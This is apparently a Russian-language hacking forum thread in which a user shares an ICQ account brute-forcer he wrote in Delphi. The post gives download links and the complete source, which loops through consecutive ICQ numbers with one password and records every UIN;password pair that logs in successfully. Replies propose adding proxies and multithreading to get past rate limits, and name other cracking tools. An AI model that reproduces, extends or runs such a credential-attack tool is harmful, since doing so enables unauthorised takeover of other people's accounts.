X*u Brute By TrambleR

здравствуйте )) вот решил я написать брут на делфи которого совсем не знаю )) ( обычно я на бейсике пишу ) и получилась у меня на делфи такая хрень может кому надо побаловатся если что то не работает обязательно сообшите в аську указанную в программе


СКАЧАТЬ ТУT http://depositfiles.com/files/i5rbqmrzs

ИЛИ ТУТ http://slil.ru/29434360

(C) TrambleR

 

А Brutal чем не устраивает?

 

Самое то для определенных слоев античата, страдающих в это время года каникулами

 

lolwto??

Опиши, что троян делать умеет?

 

Если это троян, то от проги хоть какой то толк есть.

 

Гдеты троян увидел ? те сорцы показать ?

 

Да,давай.
90% - это быдлокод,т.е. пижженый и чуть переделанный сурс.

олололло?

 

Какими нах каникулами ? Да мне всего 18 лет но ты так говоришь какбудто ты ветеран войны Бля

 

код етого мини брута

unit Unit3;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ICQClient, ICQWorks, ExtCtrls, StdCtrls;

type
TForm3 = class(TForm)
ICQClient1: TICQClient;
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
Timer1: TTimer;
Label1: TLabel;
Edit3: TEdit;
Button2: TButton;
GroupBox1: TGroupBox;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Button3: TButton;
Panel1: TPanel;
Good: TMemo;
Label5: TLabel;
procedure Button1Click(Sender: TObject);
procedure ICQClient1Login(Sender: TObject);
procedure ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
ErrorMsg: string);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.Button1Click(Sender: TObject);
begin
Button1.Enabled:=False;
Button2.Enabled:=True;
Button3.Enabled:=False;
Edit1.Enabled:=False;
Edit2.Enabled:=False;
Edit3.Enabled:=False;
Good.Enabled:=False;
Label1.Caption:='Ïîäêëþ÷åíèå...';
Timer1.Enabled:=True;
if ICQClient1.LoggedIn then
ICQClient1.LogOff;
ICQClient1.UIN:=StrToInt(Edit1.Text);
ICQClient1.Password:=Edit2.Text;
ICQClient1.Login(S_ONLINE);
end;

procedure TForm3.Button2Click(Sender: TObject);
begin
Timer1.Enabled:=False;
Good.Enabled:=True;
Button2.Enabled:=False;
Button1.Enabled:=True;
Button3.Enabled:=True;
Edit1.Enabled:=True;
Edit2.Enabled:=True;
Edit3.Enabled:=True

end;

procedure TForm3.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
ErrorMsg: string);
begin
Label1.Caption:=ErrorMsg;
end;

procedure TForm3.ICQClient1Login(Sender: TObject);
begin
Good.Lines.Add(Edit1.Text+';'+Edit2.Text);
Label1.Caption:='Ñáðó÷åííî !!!';
ICQClient1.LogOff;
end;

procedure TForm3.Timer1Timer(Sender: TObject);
begin
if Edit1.Text = Edit3.Text then
Timer1.Enabled:=False;
if Label1.Caption = 'Connection failed. Your ICQ number or password was rejected.' then begin
Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);
Button1.Click;
Label1.Caption:='Ïîäêëþ÷åíèå...';
end;
if Label1.Caption = 'Connection timed out' then begin
Button1.Click;
Label1.Caption:='Ïîäêëþ÷åíèå...';
end;
if Label1.Caption = 'Ïîäêëþ÷åíèå...' then begin
Edit1.Text:=IntToStr(StrToInt(Edit1.Text)+1);
Button1.Click;
Label1.Caption:='Ïîäêëþ÷åíèå ...';
end;
end;

procedure TForm3.Button3Click(Sender: TObject);
begin
Form3.Close;
end;

end.


необходим компонент TICQ


а что касается кода то друг помог немного т.к. я в делфи полный 0

 

Научись внимательно читать посты

 

Ниразу не быдлокод...
Хоть бы имена нормальные давал...

 

его доработать надо и сделать проксевым ))

 

И ты думаешь что он будет лучше чем brutal?
Я не понимаю зачем что то писать, если уже есть готовое и отлично работающее

 

Brutal никогда не юзал )) предпочитаю IPD )) а пишу я ради познания в делфи

 

доработать нужно

 

Это компоненты,а не ЯП. Так что херню ты делаешь.

 

для первой моей проги на делфи сойдет )))

да на делфи я хрень делаю но на бейсике отличный софт пишу

 

Перепиши на бейсик в красочном интерфейсе и добавь брут сразу 2 номеров.

P.S Цены тебе не будет.

 

неуспел ты сказать как я сделал нечто подобное )) старый негодный бруи карася сделал нормальным )) заменил контрол,пол кода заменил, обновлен протокол вот ссыль СКАЧАТЬ

З.Ы. на бейсике естественно))) но всеровно доработать нада ))) я хочу сделать чтоб брутило сразу в 4 потока

 

без проксей это нереализуемо, либо таймаут придётся ставить секунд 10